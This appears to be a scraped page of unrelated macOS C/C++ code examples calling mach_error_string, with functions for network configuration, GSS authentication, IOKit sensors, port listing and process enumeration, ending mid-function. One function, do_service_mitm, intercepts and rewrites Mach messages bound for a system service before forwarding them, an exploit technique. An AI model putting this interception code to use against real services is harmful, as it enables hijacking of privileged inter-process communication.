Exemple #1
0
static int
S_add_or_set_service(mach_port_t server, int argc, char * argv[], bool add)
{
    CFDataRef			data = NULL;
    CFDictionaryRef		dict;
    char *			method_name;
    if_name_t			if_name;
    kern_return_t		kret;
    inline_data_t 		service_id;
    unsigned int 		service_id_len;
    ipconfig_status_t		status = ipconfig_status_success_e;
    void *			xml_data_ptr = NULL;
    int				xml_data_len = 0;

    strlcpy(if_name, argv[0], sizeof(if_name));
    method_name = argv[1];
    argv += 2;
    argc -= 2;

    dict = ConfigDictCreate(if_name, argc, argv, command_name, method_name,
			    FALSE);
    if (dict == NULL) {
	return (1);
    }
    data = CFPropertyListCreateData(NULL,
				    dict,
				    kCFPropertyListBinaryFormat_v1_0,
				    0,
				    NULL);
    if (data == NULL) {
	CFRelease(dict);
	fprintf(stderr, "failed to allocate memory\n");
	return (1);
    }
    xml_data_ptr = (void *)CFDataGetBytePtr(data);
    xml_data_len = (int)CFDataGetLength(data);
    if (add) {
	kret = ipconfig_add_service(server, if_name, xml_data_ptr, xml_data_len,
				    service_id, &service_id_len, &status);
    }
    else {
	kret = ipconfig_set_service(server, if_name, xml_data_ptr, xml_data_len,
				    service_id, &service_id_len, &status);
    }
    CFRelease(dict);
    CFRelease(data);
    
    if (kret != KERN_SUCCESS) {
	fprintf(stderr, "ipconfig_%s_service failed, %s\n", add ? "add" : "set",
		mach_error_string(kret));
	return (1);
    }
    if (status != ipconfig_status_success_e) {
	fprintf(stderr, "ipconfig_%s_service %s %s failed: %s\n",
		add ? "add" : "set",
		if_name, method_name, ipconfig_status_string(status));
	return (1);
    }
    printf("%.*s\n", service_id_len, service_id);
    return (0);
}
Exemple #2
0
void *client(void *arg)
{
	channel_t channel = (channel_t)arg;
	uint32_t major_stat;
	uint32_t minor_stat;
	uint32_t rflags;
	uint32_t inout_gssd_flags;
	gssd_cred cred_handle = (gssd_cred) (uintptr_t)GSS_C_NO_CREDENTIAL;
	gssd_ctx gss_context = (gssd_ctx) (uintptr_t)GSS_C_NO_CONTEXT;
	kern_return_t kr;
	int gss_error = 0;
	int retry_count = 0;
	char display_name[128];

	do {
		if (read_channel(1, channel)) {
			Log("Bad read from server\n");
			return (NULL);
		}

		if (verbose)
			Debug("Calling mach_gss_init_sec_context from %p\n",
				(void *) pthread_self());

		deallocate(channel->ctoken, channel->ctokenCnt);
		channel->ctoken = (gssd_byte_buffer)GSS_C_NO_BUFFER;
		channel->ctokenCnt = 0;
retry:
		switch (version) {
		case 0:
		case 1:
			kr = mach_gss_init_sec_context(
						       client_mp,
						       mech,
						       channel->stoken, channel->stokenCnt,
						       uid,
						       principal,
						       svcname,
						       flags,
						       gssd_flags,
						       &gss_context,
						       &cred_handle,
						       &rflags,
						       &channel->clnt_skey, &channel->clnt_skeyCnt,
						       &channel->ctoken, &channel->ctokenCnt,
						       &major_stat,
						       &minor_stat);
			break;
		case 2:
			inout_gssd_flags = gssd_flags;
			kr = mach_gss_init_sec_context_v2(
							  client_mp,
							  mech,
							  channel->stoken, channel->stokenCnt,
							  uid,
							  clientp.nt,
							  clientp.name,
							  clientp.len,
							  targetp.nt,
							  targetp.name,
							  targetp.len,
							  flags,
							  &inout_gssd_flags,
							  &gss_context,
							  &cred_handle,
							  &rflags,
							  &channel->clnt_skey, &channel->clnt_skeyCnt,
							  &channel->ctoken, &channel->ctokenCnt,
							  display_name,
							  &major_stat,
							  &minor_stat);
			if (verbose && kr == KERN_SUCCESS && major_stat ==  GSS_S_COMPLETE)
				Debug("Got client identity of '%s'\n", display_name);
			break;
		default:
			Log("Unsupported version %d\n", version);
			exit(1);
			break;
		}

		if (kr != KERN_SUCCESS) {
			OSAtomicIncrement32(&server_errors);
			Log("gsstest client: %s\n", mach_error_string(kr));
			if (exitonerror)
				exit(1);
			if (kr == MIG_SERVER_DIED) {
				OSAtomicIncrement32(&server_deaths);
				if (gss_context == (uint32_t)(uintptr_t)GSS_C_NO_CONTEXT &&
					retry_count < max_retries) {
					retry_count++;
					goto retry;
				}
			}

			channel->failure = 1;
			write_channel(1, channel);
			return (NULL);
		}

		gss_error = (major_stat != GSS_S_COMPLETE &&
					major_stat != GSS_S_CONTINUE_NEEDED);
		if (verbose > 1) {
			Debug("\tcred = 0x%0x\n", (int) cred_handle);
			Debug("\tclnt_gss_context = 0x%0x\n",
				(int) gss_context);
			Debug("\ttokenCnt = %d\n", (int) channel->ctokenCnt);
			if (verbose > 2)
				HexDump((char *) channel->ctoken,
					 (uint32_t) channel->ctokenCnt);
		}

		channel->failure = gss_error;
		write_channel(1, channel);
	} while (major_stat == GSS_S_CONTINUE_NEEDED);


	if (gss_error) {
		OSAtomicIncrement32(&gss_init_errors);
		Log("mach_gss_int_sec_context: %#K %#k\n", major_stat, mechtab[mech], minor_stat);
	}

	close_channel(1, channel);
	return (NULL);
}
void do_service_mitm(mach_port_t real_service_port, mach_port_t replacer_portset) {
  mach_msg_size_t max_request_size = 0x10000;
  mach_msg_header_t* request = malloc(max_request_size);
  
  for(;;) {
    memset(request, 0, max_request_size);
    kern_return_t err = mach_msg(request,
                                 MACH_RCV_MSG |
                                 MACH_RCV_LARGE, // leave larger messages in the queue
                                 0,
                                 max_request_size,
                                 replacer_portset,
                                 0,
                                 0);
    
    if (err == MACH_RCV_TOO_LARGE) {
      // bump up the buffer size
      mach_msg_size_t new_size = request->msgh_size + 0x1000;
      request = realloc(request, new_size);
      // try to receive again
      continue;
    }
    
    if (err != KERN_SUCCESS) {
      printf("error receiving on port set: %s\n", mach_error_string(err));
      exit(EXIT_FAILURE);
    }
    
    got_replaced_with = request->msgh_local_port;
    
    printf("got a request, fixing it up...\n");
    
    // fix up the message such that it can be forwarded:
    
    // get the rights we were sent for each port the header
    mach_port_right_t remote = MACH_MSGH_BITS_REMOTE(request->msgh_bits);
    mach_port_right_t voucher = MACH_MSGH_BITS_VOUCHER(request->msgh_bits);
    
    // fixup the header ports:
    // swap the remote port we received into the local port we'll forward
    // this means we're only mitm'ing in one direction - we could also
    // intercept these replies if necessary
    request->msgh_local_port = request->msgh_remote_port;
    request->msgh_remote_port = real_service_port;
    // voucher port stays the same
    
    int is_complex = MACH_MSGH_BITS_IS_COMPLEX(request->msgh_bits);
    
    // (remote, local, voucher)
    request->msgh_bits = MACH_MSGH_BITS_SET_PORTS(MACH_MSG_TYPE_COPY_SEND, right_fixup(remote), right_fixup(voucher));
    
    if (is_complex) {
      request->msgh_bits |= MACH_MSGH_BITS_COMPLEX;
      
      // if it's complex we also need to fixup all the descriptors...
      mach_msg_body_t* body = (mach_msg_body_t*)(request+1);
      mach_msg_type_descriptor_t* desc = (mach_msg_type_descriptor_t*)(body+1);
      for (mach_msg_size_t i = 0; i < body->msgh_descriptor_count; i++) {
        switch (desc->type) {
          case MACH_MSG_PORT_DESCRIPTOR: {
            mach_msg_port_descriptor_t* port_desc = (mach_msg_port_descriptor_t*)desc;
            inspect_port(port_desc->name);
            port_desc->disposition = right_fixup(port_desc->disposition);
            desc = (mach_msg_type_descriptor_t*)(port_desc+1);
            break;
          }
            
          case MACH_MSG_OOL_VOLATILE_DESCRIPTOR:
          case MACH_MSG_OOL_DESCRIPTOR: {
            mach_msg_ool_descriptor_t* ool_desc = (mach_msg_ool_descriptor_t*)desc;
            // make sure that deallocate is true; we don't want to keep this memory:
            ool_desc->deallocate = 1;
            desc = (mach_msg_type_descriptor_t*)(ool_desc+1);
            break;
          }

          case MACH_MSG_OOL_PORTS_DESCRIPTOR: {
            mach_msg_ool_ports_descriptor_t* ool_ports_desc = (mach_msg_ool_ports_descriptor_t*)desc;
            // make sure that deallocate is true:
            ool_ports_desc->deallocate = 1;
            ool_ports_desc->disposition = right_fixup(ool_ports_desc->disposition);
            desc = (mach_msg_type_descriptor_t*)(ool_ports_desc+1);
            break;
          }
        }
      }
      
    }
    
    printf("fixed up request, forwarding it\n");
    
    // forward the message:
    err = mach_msg(request,
                   MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                   request->msgh_size,
                   0,
                   MACH_PORT_NULL,
                   MACH_MSG_TIMEOUT_NONE,
                   MACH_PORT_NULL);
    
    if (err != KERN_SUCCESS) {
      printf("error forwarding service message: %s\n", mach_error_string(err));
      exit(EXIT_FAILURE);
    }
  }
}
DNSRecordReference DNSServiceRegistrationAddRecord(dns_service_discovery_ref ref, uint16_t rrtype, uint16_t rdlen, const char *rdata, uint32_t ttl)
{
    mach_port_t serverPort = DNSServiceDiscoveryLookupServer();
    mach_port_t clientPort;
    natural_t reference = 0;
    kern_return_t result = KERN_SUCCESS;

    if (!serverPort) {
        return kDNSServiceDiscoveryUnknownErr;
    }

    clientPort = DNSServiceDiscoveryMachPort(ref);

    if (!clientPort) {
        return kDNSServiceDiscoveryUnknownErr;
    }

    result = DNSServiceRegistrationAddRecord_rpc(serverPort, clientPort, rrtype, (record_data_t)rdata, rdlen, ttl, &reference);

    if (result != KERN_SUCCESS) {
        printf("The result of the registration was not successful.  Error %d, result %s\n", result, mach_error_string(result));
    }

    return reference;
}
void ProcessInfo::update() {
  SignalBlocker sb; // attempt to head off weird mach errors
  
  unsigned int thread_info_count = THREAD_BASIC_INFO_COUNT;
  unsigned int   task_info_count =  TASK_EVENTS_INFO_COUNT;
  
  kern_return_t thread_err, task_err;
  thread_err = thread_info( mach_thread_self(),  THREAD_BASIC_INFO,  (thread_info_t)&my_thread_info,  &thread_info_count);
    task_err =   task_info( mach_task_self(),     TASK_EVENTS_INFO,    (task_info_t)&  my_task_info,  &  task_info_count);
    
  static bool aw = true,  hw = true;
  if (   task_err == MIG_ARRAY_TOO_LARGE  ||   task_err == MACH_RCV_TOO_LARGE) { if (aw) {aw = false; warning("  task_info has grown"); }    task_err = KERN_SUCCESS; }
  if ( thread_err == MIG_ARRAY_TOO_LARGE  || thread_err == MACH_RCV_TOO_LARGE) { if (hw) {hw = false; warning("thread_info has grown"); }  thread_err = KERN_SUCCESS; }
  
  // I don't know why this sometimes fails, but it's not fatal. -- dmu 2/04
  if (  task_err != KERN_SUCCESS  &&  !aw)  {aw = true; warning1("Error calling   task_info() %s\n", mach_error_string(  task_err)); }
  if (thread_err != KERN_SUCCESS  &&  !hw)  {hw = true; warning1("Error calling thread_info() %s\n", mach_error_string(thread_err)); }
}
Exemple #6
0
static int as_read (void)
{
	kern_return_t   status;
	io_iterator_t   iterator;
	io_object_t     io_obj;
	CFMutableDictionaryRef prop_dict;
	CFTypeRef       property;

	char   type[128];
	char   inst[128];
	int    value_int;
	double value_double;
	int    i;

	if (!io_master_port || (io_master_port == MACH_PORT_NULL))
		return (-1);

	status = IOServiceGetMatchingServices (io_master_port,
		       	IOServiceNameMatching("IOHWSensor"),
		       	&iterator);
	if (status != kIOReturnSuccess)
       	{
		ERROR ("IOServiceGetMatchingServices failed: %s",
				mach_error_string (status));
		return (-1);
	}

	while ((io_obj = IOIteratorNext (iterator)))
	{
		prop_dict = NULL;
		status = IORegistryEntryCreateCFProperties (io_obj,
				&prop_dict,
				kCFAllocatorDefault,
				kNilOptions);
		if (status != kIOReturnSuccess)
		{
			DEBUG ("IORegistryEntryCreateCFProperties failed: %s",
					mach_error_string (status));
			continue;
		}

		/* Copy the sensor type. */
		property = NULL;
		if (!CFDictionaryGetValueIfPresent (prop_dict,
					CFSTR ("type"),
					&property))
			continue;
		if (CFGetTypeID (property) != CFStringGetTypeID ())
			continue;
		if (!CFStringGetCString (property,
					type, sizeof (type),
					kCFStringEncodingASCII))
			continue;
		type[sizeof (type) - 1] = '\0';

		/* Copy the sensor location. This will be used as `instance'. */
		property = NULL;
		if (!CFDictionaryGetValueIfPresent (prop_dict,
					CFSTR ("location"),
					&property))
			continue;
		if (CFGetTypeID (property) != CFStringGetTypeID ())
			continue;
		if (!CFStringGetCString (property,
					inst, sizeof (inst),
					kCFStringEncodingASCII))
			continue;
		inst[sizeof (inst) - 1] = '\0';
		for (i = 0; i < 128; i++)
		{
			if (inst[i] == '\0')
				break;
			else if (isalnum (inst[i]))
				inst[i] = (char) tolower (inst[i]);
			else
				inst[i] = '_';
		}

		/* Get the actual value. Some computation, based on the `type'
		 * is neccessary. */
		property = NULL;
		if (!CFDictionaryGetValueIfPresent (prop_dict,
					CFSTR ("current-value"),
					&property))
			continue;
		if (CFGetTypeID (property) != CFNumberGetTypeID ())
			continue;
		if (!CFNumberGetValue (property,
				       	kCFNumberIntType,
				       	&value_int))
			continue;

		/* Found e.g. in the 1.5GHz PowerBooks */
		if (strcmp (type, "temperature") == 0)
		{
			value_double = ((double) value_int) / 65536.0;
			sstrncpy (type, "temperature", sizeof (type));
		}
		else if (strcmp (type, "temp") == 0)
		{
			value_double = ((double) value_int) / 10.0;
			sstrncpy (type, "temperature", sizeof (type));
		}
		else if (strcmp (type, "fanspeed") == 0)
		{
			value_double = ((double) value_int) / 65536.0;
			sstrncpy (type, "fanspeed", sizeof (type));
		}
		else if (strcmp (type, "voltage") == 0)
		{
			/* Leave this to the battery plugin. */
			continue;
		}
		else if (strcmp (type, "adc") == 0)
		{
			value_double = ((double) value_int) / 10.0;
			sstrncpy (type, "fanspeed", sizeof (type));
		}
		else
		{
			DEBUG ("apple_sensors: Read unknown sensor type: %s",
					type);
			value_double = (double) value_int;
		}

		as_submit (type, inst, value_double);

		CFRelease (prop_dict);
		IOObjectRelease (io_obj);
	} /* while (iterator) */

	IOObjectRelease (iterator);

	return (0);
} /* int as_read */
static void _increaseQueueLengthOnPort(mach_port_t port)
{
    mach_port_limits_t qlimits;
    kern_return_t result;

    qlimits.mpl_qlimit = 16;
    result = mach_port_set_attributes(mach_task_self(), port, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&qlimits, MACH_PORT_LIMITS_INFO_COUNT);

    if (result != KERN_SUCCESS) {
        printf("%s(): {%s:%d} mach_port_set_attributes() failed: $%x %s\n", __FUNCTION__, __FILE__, __LINE__, (int) result, mach_error_string(result));
    }
}
void show_task_mach_ports(my_per_task_info_t *taskinfo, uint32_t taskCount, my_per_task_info_t *allTaskInfos)
{
    int i, emptycount = 0, portsetcount = 0, sendcount = 0, receivecount = 0, sendoncecount = 0, deadcount = 0, dncount = 0, vouchercount = 0, pid;
    kern_return_t ret;
    pid_for_task(taskinfo->task, &pid);
    
    printf("  name      ipc-object    rights     flags   boost  reqs  recv  send sonce oref  qlimit  msgcount  context            identifier  type\n");
    printf("---------   ----------  ----------  -------- -----  ---- ----- ----- ----- ----  ------  --------  ------------------ ----------- ------------\n");
	for (i = 0; i < taskinfo->tableCount; i++) {
		int j, k;
		boolean_t send = FALSE;
		boolean_t sendonce = FALSE;
		boolean_t dnreq = FALSE;
		int sendrights = 0;
		unsigned int kotype = 0;
		vm_offset_t kobject = (vm_offset_t)0;
        
        /* skip empty slots in the table */
        if ((taskinfo->table[i].iin_type & MACH_PORT_TYPE_ALL_RIGHTS) == 0) {
            emptycount++;
            continue;
        }
        
        
		if (taskinfo->table[i].iin_type == MACH_PORT_TYPE_PORT_SET) {
			mach_port_name_array_t members;
			mach_msg_type_number_t membersCnt;
			
			ret = mach_port_get_set_status(taskinfo->task,
										   taskinfo->table[i].iin_name,
										   &members, &membersCnt);
			if (ret != KERN_SUCCESS) {
				fprintf(stderr, "mach_port_get_set_status(0x%08x) failed: %s\n",
						taskinfo->table[i].iin_name,
						mach_error_string(ret));
				continue;
			}
			printf("0x%08x  0x%08x  port-set    --------        ---      1                                                        %d  members\n",
				   taskinfo->table[i].iin_name,
				   taskinfo->table[i].iin_object,
				   membersCnt);
			/* get some info for each portset member */
			for (j = 0; j < membersCnt; j++) {
				for (k = 0; k < taskinfo->tableCount; k++) {
					if (taskinfo->table[k].iin_name == members[j]) {
                        mach_port_info_ext_t info;
                        mach_port_status_t port_status;
                        mach_port_context_t port_context = (mach_port_context_t)0;
                        if (0 != get_recieve_port_status(taskinfo->task, taskinfo->table[k].iin_name, &info)) {
                            bzero((void *)&info, sizeof(info));
                        }
                        port_status = info.mpie_status;
                        get_receive_port_context(taskinfo->task, taskinfo->table[k].iin_name, &port_context);
                        printf(" -          0x%08x  %s  --%s%s%s%s%s%s %5d  %s%s%s  %5d %5.0d %5.0d   %s   %6d  %8d  0x%016llx 0x%08x  (%d) %s\n",
							   taskinfo->table[k].iin_object,
							   (taskinfo->table[k].iin_type & MACH_PORT_TYPE_SEND) ? "recv,send ":"recv      ",
                               SHOW_PORT_STATUS_FLAGS(port_status.mps_flags),
                               info.mpie_boost_cnt,
                               (taskinfo->table[k].iin_type & MACH_PORT_TYPE_DNREQUEST) ? "D" : "-",
                               (port_status.mps_nsrequest) ? "N" : "-",
                               (port_status.mps_pdrequest) ? "P" : "-",
                               1,
                               taskinfo->table[k].iin_urefs,
                               port_status.mps_sorights,
                               (port_status.mps_srights) ? "Y" : "N",
                               port_status.mps_qlimit,
                               port_status.mps_msgcount,
                               (uint64_t)port_context,
							   taskinfo->table[k].iin_name,
							   pid,
                               taskinfo->processName);
						break;
					}
				}
			}
            
			ret = vm_deallocate(mach_task_self(), (vm_address_t)members,
								membersCnt * sizeof(mach_port_name_t));
			if (ret != KERN_SUCCESS) {
				fprintf(stderr, "vm_deallocate() failed: %s\n",
						mach_error_string(ret));
				exit(1);
			}
			portsetcount++;
			continue;
		}
        
		if (taskinfo->table[i].iin_type & MACH_PORT_TYPE_SEND) {
			send = TRUE;
			sendrights = taskinfo->table[i].iin_urefs;
			sendcount++;
		}
		
		if (taskinfo->table[i].iin_type & MACH_PORT_TYPE_DNREQUEST) {
			dnreq = TRUE;
			dncount++;
		}
        
		if (taskinfo->table[i].iin_type & MACH_PORT_TYPE_RECEIVE) {
			mach_port_status_t status;
			mach_port_info_ext_t info;
			mach_port_context_t context = (mach_port_context_t)0;
            ret = get_recieve_port_status(taskinfo->task, taskinfo->table[i].iin_name, &info);
            get_receive_port_context(taskinfo->task, taskinfo->table[i].iin_name, &context);
            /* its ok to fail in fetching attributes */
            if (ret < 0) {
                continue;
            }
            status = info.mpie_status;
			printf("0x%08x  0x%08x  %s  --%s%s%s%s%s%s %5d  %s%s%s  %5d %5.0d %5.0d   %s   %6d  %8d  0x%016llx \n",
				   taskinfo->table[i].iin_name,
				   taskinfo->table[i].iin_object,
				   (send) ? "recv,send ":"recv      ",
				   SHOW_PORT_STATUS_FLAGS(status.mps_flags),
				   info.mpie_boost_cnt,
				   (dnreq) ? "D":"-",
				   (status.mps_nsrequest) ? "N":"-",
				   (status.mps_pdrequest) ? "P":"-",
                   1,
				   sendrights,
                   status.mps_sorights,
				   (status.mps_srights) ? "Y":"N",
				   status.mps_qlimit,
				   status.mps_msgcount,
				   (uint64_t)context);
			receivecount++;
            
            
			/* show other rights (in this and other tasks) for the port */
			for (j = 0; j < taskCount; j++) {
				for (k = 0; k < allTaskInfos->tableCount; k++) {
					if (allTaskInfos[j].valid == FALSE ||
						&allTaskInfos[j].table[k] == &taskinfo->table[i] ||
						allTaskInfos[j].table[k].iin_object != taskinfo->table[i].iin_object)
						continue;
                    
                    printf("                  +     %s  --------        %s%s%s        %5d         <-                                       0x%08x  (%d) %s\n",
						   (allTaskInfos[j].table[k].iin_type & MACH_PORT_TYPE_SEND_ONCE) ?
					       "send-once " : "send      ",
						   (allTaskInfos[j].table[k].iin_type & MACH_PORT_TYPE_DNREQUEST) ? "D" : "-",
                           "-",
                           "-",
                           allTaskInfos[j].table[k].iin_urefs,
						   allTaskInfos[j].table[k].iin_name,
						   allTaskInfos[j].pid,
                           allTaskInfos[j].processName);
				}
			}
			continue;
		}
		else if (taskinfo->table[i].iin_type & MACH_PORT_TYPE_DEAD_NAME)
		{
			printf("0x%08x  0x%08x  dead-name   --------        ---        %5d      \n",
				   taskinfo->table[i].iin_name,
				   taskinfo->table[i].iin_object,
				   taskinfo->table[i].iin_urefs);
			deadcount++;
			continue;
		}
        
		if (taskinfo->table[i].iin_type & MACH_PORT_TYPE_SEND_ONCE) {
			sendonce = TRUE;
			sendoncecount++;
		}
		
		printf("0x%08x  0x%08x  %s  --------        %s%s%s        %5.0d     ",
			   taskinfo->table[i].iin_name,
			   taskinfo->table[i].iin_object,
			   (send) ? "send      ":"send-once ",
			   (dnreq) ? "D":"-",
			   "-",
			   "-",
			   (send) ? sendrights : 0);
		
		/* converting to kobjects is not always supported */
		ret = mach_port_kernel_object(taskinfo->task,
									  taskinfo->table[i].iin_name,
									  &kotype, (unsigned *)&kobject);
		if (ret == KERN_SUCCESS && kotype != 0) {
			printf("                                             0x%08x  %s", (natural_t)kobject, kobject_name(kotype));
            if ((kotype == IKOT_TASK_RESUME) || (kotype == IKOT_TASK) || (kotype == IKOT_TASK_NAME)) {
                if (taskinfo->task_kobject == kobject) {
                    /* neat little optimization since in most cases tasks have themselves in their ipc space */
                    printf(" SELF (%d) %s", taskinfo->pid, taskinfo->processName);
                } else {
                    my_per_task_info_t * _found_task = get_taskinfo_by_kobject((natural_t)kobject);
                    printf(" (%d) %s", _found_task->pid, _found_task->processName);
                }
            }
            
            printf("\n");
            if (kotype == IKOT_VOUCHER) {
                vouchercount++;
                if (lsmp_config.show_voucher_details) {
                    show_voucher_detail(taskinfo->task, taskinfo->table[i].iin_name);
                }
            }
			continue;
		}
        
        /* not kobject - find the receive right holder */
        my_per_task_info_t *recv_holder_taskinfo;
        mach_port_name_t recv_name = MACH_PORT_NULL;
        if (KERN_SUCCESS == get_taskinfo_of_receiver_by_send_right(&taskinfo->table[i], &recv_holder_taskinfo, &recv_name)) {
            mach_port_status_t port_status;
            mach_port_info_ext_t info;
            mach_port_context_t port_context = (mach_port_context_t)0;
            if (0 != get_recieve_port_status(recv_holder_taskinfo->task, recv_name, &info)) {
                bzero((void *)&port_status, sizeof(port_status));
            }
            port_status = info.mpie_status;
            get_receive_port_context(recv_holder_taskinfo->task, recv_name, &port_context);
            printf("   ->   %6d  %8d  0x%016llx 0x%08x  (%d) %s\n",
                   port_status.mps_qlimit,
                   port_status.mps_msgcount,
                   (uint64_t)port_context,
                   recv_name,
                   recv_holder_taskinfo->pid,
                   recv_holder_taskinfo->processName);

        } else
			printf("                                             0x00000000  (-) Unknown Process\n");
 
	}
	printf("total     = %d\n", taskinfo->tableCount + taskinfo->treeCount - emptycount);
	printf("SEND      = %d\n", sendcount);
	printf("RECEIVE   = %d\n", receivecount);
	printf("SEND_ONCE = %d\n", sendoncecount);
	printf("PORT_SET  = %d\n", portsetcount);
	printf("DEAD_NAME = %d\n", deadcount);
	printf("DNREQUEST = %d\n", dncount);
    printf("VOUCHERS  = %d\n", vouchercount);
    
}
Exemple #9
0
bool SysInfo::GetAllProcess()
{
	kern_return_t	error;
	processor_set_t	*psets, pset;
	task_t		*tasks;
	unsigned	i, j, pcnt, tcnt;
	
	m_nTotalTime = 0;
	host_priv_t libtop_port = mach_host_self();

	// 必须获得系统root权限才能访问所有process list,下面这段代码不能获得,暂用pxl制作包来解决权限问题
	host_t myhost = mach_host_self();
	processor_set_name_t p_default_set;
	processor_set_t p_default_set_control;
	/* get the default processor set */
	error = processor_set_default(myhost, &p_default_set);
	if (KERN_SUCCESS != error)
	{
		printf("Error in processor_set_default(): %s \n",mach_error_string(error));

		char szInfo[256] = { 0 };
		snprintf(szInfo, sizeof(szInfo) - 1, "processor_set_default error");
		LogMsg(szInfo);
	}
	/* get the control port for this processor set */
	error = host_processor_set_priv(myhost, p_default_set, &p_default_set_control);
	if (KERN_SUCCESS != error)
	{
	}

	error = host_processor_sets(libtop_port, &psets, &pcnt);
	if (error != KERN_SUCCESS) {
		GetProcessInfo(mach_task_self());
		return TRUE;
	}
	
	m_pInfoList.clear();

	for (i = 0; i < pcnt; i++) {
		error = host_processor_set_priv(libtop_port, psets[i], &pset);
		if (error != KERN_SUCCESS) {
			printf("Error in host_processor_set_priv(): %s \n",mach_error_string(error));
			
			char szInfo[256] = { 0 };
			snprintf(szInfo, sizeof(szInfo) - 1, "host_processor_set_priv error");
			LogMsg(szInfo);

			return true;
		}
		
		error = processor_set_tasks(pset, &tasks, &tcnt);
		if (error != KERN_SUCCESS) {
			printf("Error in processor_set_tasks(): %s \n",mach_error_string(error));
			
			char szInfo[256] = { 0 };
			snprintf(szInfo, sizeof(szInfo) - 1, "processor_set_tasks error");
			LogMsg(szInfo);

			return true;
		}
		
		for (j = 0; j < tcnt; j++) {
			if (GetProcessInfo(tasks[j])) 
			{
				return true;
			}
			mach_port_deallocate(mach_task_self(),tasks[j]);
		}
		error = vm_deallocate((vm_map_t)mach_task_self(),(vm_address_t)tasks, tcnt * sizeof(task_t));
		if (error != KERN_SUCCESS) {
			printf("Error in vm_deallocate(): %s \n",mach_error_string(error));
			return true;
		}
		if ((error = mach_port_deallocate(mach_task_self(),pset)) != KERN_SUCCESS
		    || (error = mach_port_deallocate(mach_task_self(),psets[i])) != KERN_SUCCESS) 
		{
			printf("Error in mach_port_deallocate(): %s \n",mach_error_string(error));
			return true;
		}
	}
	
	error = vm_deallocate((vm_map_t)mach_task_self(),(vm_address_t)psets, pcnt * sizeof(processor_set_t));
	if (error != KERN_SUCCESS) {
		printf("Error in vm_deallocate(): %s \n",mach_error_string(error));
		return true;
	}
	
	return false;
}
static void
rlsSchedule(void *info, CFRunLoopRef rl, CFStringRef mode)
{
	SCDynamicStoreRef		store		= (SCDynamicStoreRef)info;
	SCDynamicStorePrivateRef	storePrivate	= (SCDynamicStorePrivateRef)store;

#ifdef	DEBUG
	SCLog(_sc_verbose, LOG_DEBUG,
	      CFSTR("schedule notifications for mode %@"),
	      (rl != NULL) ? mode : CFSTR("libdispatch"));
#endif	/* DEBUG */

	if (storePrivate->rlList == NULL) {
		CFMachPortContext	context		= { 0
							  , (void *)store
							  , CFRetain
							  , CFRelease
							  , notifyMPCopyDescription
							  };
		mach_port_t		oldNotify;
		mach_port_t		port;
		int			sc_status;
		kern_return_t		status;

#ifdef	DEBUG
		SCLog(_sc_verbose, LOG_DEBUG, CFSTR("  activate callback runloop source"));
#endif	/* DEBUG */

		/* Allocating port (for server response) */
		status = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
		if (status != KERN_SUCCESS) {
			SCLog(TRUE, LOG_ERR, CFSTR("rlsSchedule mach_port_allocate(): %s"), mach_error_string(status));
			return;
		}

		status = mach_port_insert_right(mach_task_self(),
						port,
						port,
						MACH_MSG_TYPE_MAKE_SEND);
		if (status != KERN_SUCCESS) {
			/*
			 * We can't insert a send right into our own port!  This should
			 * only happen if someone stomped on OUR port (so let's leave
			 * the port alone).
			 */
			SCLog(TRUE, LOG_ERR, CFSTR("rlsSchedule mach_port_insert_right(): %s"), mach_error_string(status));
			return;
		}

		/* Request a notification when/if the server dies */
		status = mach_port_request_notification(mach_task_self(),
							port,
							MACH_NOTIFY_NO_SENDERS,
							1,
							port,
							MACH_MSG_TYPE_MAKE_SEND_ONCE,
							&oldNotify);
		if (status != KERN_SUCCESS) {
			/*
			 * We can't request a notification for our own port!  This should
			 * only happen if someone stomped on OUR port (so let's leave
			 * the port alone).
			 */
			SCLog(TRUE, LOG_ERR, CFSTR("rlsSchedule mach_port_request_notification(): %s"), mach_error_string(status));
			return;
		}

		if (oldNotify != MACH_PORT_NULL) {
			SCLog(TRUE, LOG_ERR, CFSTR("rlsSchedule(): oldNotify != MACH_PORT_NULL"));
		}

	    retry :

		__MACH_PORT_DEBUG(TRUE, "*** rlsSchedule", port);
		status = notifyviaport(storePrivate->server, port, 0, (int *)&sc_status);

		if (__SCDynamicStoreCheckRetryAndHandleError(store,
							     status,
							     &sc_status,
							     "rlsSchedule notifyviaport()")) {
			goto retry;
		}

		if (status != KERN_SUCCESS) {
			if ((status == MACH_SEND_INVALID_DEST) || (status == MIG_SERVER_DIED)) {
				/* remove the send right that we tried (but failed) to pass to the server */
				(void) mach_port_deallocate(mach_task_self(), port);
			}

			/* remove our receive right  */
			(void) mach_port_mod_refs(mach_task_self(), port, MACH_PORT_RIGHT_RECEIVE, -1);
			return;
		}

		if (sc_status != kSCStatusOK) {
			/* something [else] didn't work, remove our receive right  */
			(void) mach_port_mod_refs(mach_task_self(), port, MACH_PORT_RIGHT_RECEIVE, -1);
			return;
		}

		__MACH_PORT_DEBUG(TRUE, "*** rlsSchedule (after notifyviaport)", port);
		storePrivate->rlsNotifyPort = _SC_CFMachPortCreateWithPort("SCDynamicStore",
									   port,
									   rlsCallback,
									   &context);
		storePrivate->rlsNotifyRLS = CFMachPortCreateRunLoopSource(NULL, storePrivate->rlsNotifyPort, 0);

		storePrivate->rlList = CFArrayCreateMutable(NULL, 0, &kCFTypeArrayCallBacks);
	}

	if ((rl != NULL) && (storePrivate->rlsNotifyRLS != NULL)) {
		if (!_SC_isScheduled(store, rl, mode, storePrivate->rlList)) {
			/*
			 * if we are not already scheduled with this runLoop / runLoopMode
			 */
			CFRunLoopAddSource(rl, storePrivate->rlsNotifyRLS, mode);
			__MACH_PORT_DEBUG(TRUE, "*** rlsSchedule (after CFRunLoopAddSource)", CFMachPortGetPort(storePrivate->rlsNotifyPort));
		}

		_SC_schedule(store, rl, mode, storePrivate->rlList);
	}

	return;
}
void show_voucher_detail(mach_port_t task, mach_port_name_t voucher) {
    unsigned int recipe_size = voucher_contents_size;
    kern_return_t kr = KERN_SUCCESS;
    bzero((void *)&voucher_contents[0], sizeof(voucher_contents));
    unsigned v_kobject = 0;
    unsigned v_kotype = 0;
    kr = mach_port_kernel_object( task,
                                 voucher,
                                 &v_kotype, (unsigned *)&v_kobject);
    if (kr == KERN_SUCCESS && v_kotype == IKOT_VOUCHER ) {
 
        kr = mach_voucher_debug_info(task, voucher,
                                     (mach_voucher_attr_raw_recipe_array_t)&voucher_contents[0],
                                     &recipe_size);
        if (kr != KERN_SUCCESS && kr != KERN_NOT_SUPPORTED) {
